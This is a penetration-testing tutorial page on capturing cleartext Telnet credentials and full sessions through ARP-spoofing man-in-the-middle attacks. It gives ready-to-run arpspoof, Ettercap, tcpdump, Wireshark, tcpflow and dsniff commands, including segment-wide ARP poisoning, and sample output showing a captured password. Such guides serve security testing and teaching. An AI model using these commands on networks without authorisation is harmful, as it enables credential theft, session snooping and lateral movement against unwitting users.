# Telnet Cleartext Credential Capture via MITM

- **URL:** https://hackindex.io/services/telnet/exploitation/telnet-cleartext-credential-capture
- **Path:** Telnet > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/telnet/exploitation.md)
- **Published:** 2026-03-11
- **Updated:** 2026-03-11

Telnet transmits everything in plaintext: credentials, commands, and responses. If you are on the same network segment as a host authenticating to a Telnet service, ARP spoofing lets you intercept the session and pull credentials directly from traffic. No brute force needed.

This works in any scenario where you have layer-2 access: internal network, VPN segment, compromised switch, or a lab environment. The technique captures not just the credentials but the full session, giving you visibility into whatever the user or device is doing over Telnet.

## ARP Spoofing with arpspoof

- ARP Spoofing with arpspoof
- Capturing with Wireshark
- Capturing with tcpdump
- Capturing with Ettercap
- Extracting Credentials from an Existing Pcap
- Capturing Full Session Commands

> [!WARNING]
> This may be restricted in exams such as OSCP. ARP spoofing constitutes network poisoning and spoofing, which is not allowed on the OSCP exam. Verify exam rules before use.

`arpspoof` is part of the `dsniff` package and is the most straightforward tool for positioning yourself between a client and a Telnet server.

Enable IP forwarding first so traffic continues to flow and the connection is not dropped:

```bash
echo 1 > /proc/sys/net/ipv4/ip_forward
```

Spoof the gateway to the victim: tell the victim that your MAC is the gateway:

```bash
sudo arpspoof -i eth0 -t $TARGET_IP -r $GATEWAY_IP
```

`-t` is the target host. `-r` enables bidirectional spoofing, poisoning both the target and the gateway simultaneously. Run this in one terminal and keep it running throughout.

## Capturing with Wireshark

With ARP spoofing active and forwarding enabled, open Wireshark and filter for Telnet traffic:

```bash
sudo wireshark -i eth0 -k
```

Apply the display filter:

```
telnet
```

Or filter specifically for the Telnet port if it is non-standard:

```
tcp.port == $PORT
```

Follow the TCP stream of any Telnet session: right-click a packet and select Follow > TCP Stream. Wireshark reassembles the session and displays the full conversation including the login exchange.

Credentials appear in plaintext in the stream output. On a typical login you will see the username and password typed character by character, depending on whether the daemon echoes input or not. Look for lines following `Username:` or `Login:` prompts.

## Capturing with tcpdump

For headless environments or remote shells where Wireshark is not available:

```bash
sudo tcpdump -i eth0 -w /tmp/telnet-capture.pcap tcp port 23
```

Transfer the pcap to your machine and open it in Wireshark, or extract Telnet data directly:

```bash
sudo tcpdump -i eth0 -A tcp port 23 | grep -E "[a-zA-Z0-9]{3,}"
```

`-A` prints packet payload in ASCII. Credentials will scroll past as they are typed.

## Capturing with Ettercap

Ettercap combines ARP poisoning and protocol dissection in a single tool and automatically extracts Telnet credentials without manual stream analysis.

Text-mode with ARP MITM between a target and gateway:

```bash
sudo ettercap -T -i eth0 -M arp:remote /$TARGET_IP// /$GATEWAY_IP//
# TELNET: 10.10.10.5:23 -> USER: admin  PASS: cisco
#
```

Ettercap's Telnet dissector recognises the login sequence and prints credentials directly to the console.

No pcap analysis needed. This is the fastest path when you need credentials quickly.

For a full network segment rather than a specific target, use a broadcast target to intercept all Telnet sessions on the segment:

```bash
sudo ettercap -T -i eth0 -M arp:remote //$GATEWAY_IP//
```

This poisons all hosts on the segment simultaneously. Use carefully: aggressive ARP poisoning can destabilise devices on the segment.

## Extracting Credentials from an Existing Pcap

If you already have a packet capture from another source: a network tap, a compromised switch with port mirroring, or a previously collected pcap: extract Telnet sessions with `tcpflow`:

```bash
tcpflow -r /tmp/capture.pcap tcp port 23
```

`tcpflow` writes each TCP session to a separate file. Open the files for the Telnet sessions and read the plaintext login exchanges directly.

Alternatively, use `dsniff` which has a purpose-built Telnet credential extractor:

```bash
dsniff -p /tmp/capture.pcap
```

`dsniff` parses the pcap and prints extracted credentials for Telnet, FTP, HTTP Basic, and other cleartext protocols in a clean format.

## Capturing Full Session Commands

Credentials are often not the end goal. The full session content (commands run, output returned, configs displayed) is equally valuable. In Wireshark, export the reassembled TCP stream as plain text:

Follow TCP Stream > Show data as ASCII > Save As.

This gives you the complete interactive session including anything the authenticated user typed and every response from the device. On network devices this often includes a `show running-config` output that contains SNMP community strings, VPN pre-shared keys, local user accounts, and routing details useful for further lateral movement.

## References

- [tcpdump man page](https://www.tcpdump.org/manpages/tcpdump.1.html) - Capture filter syntax and output formatting options.
- [Ettercap](https://ettercap.github.io/ettercap/) - Official documentation covering ARP MITM modes and protocol dissector list.
- [tcpflow](https://github.com/adulau/tcpflow) - TCP stream reassembly tool for offline pcap analysis.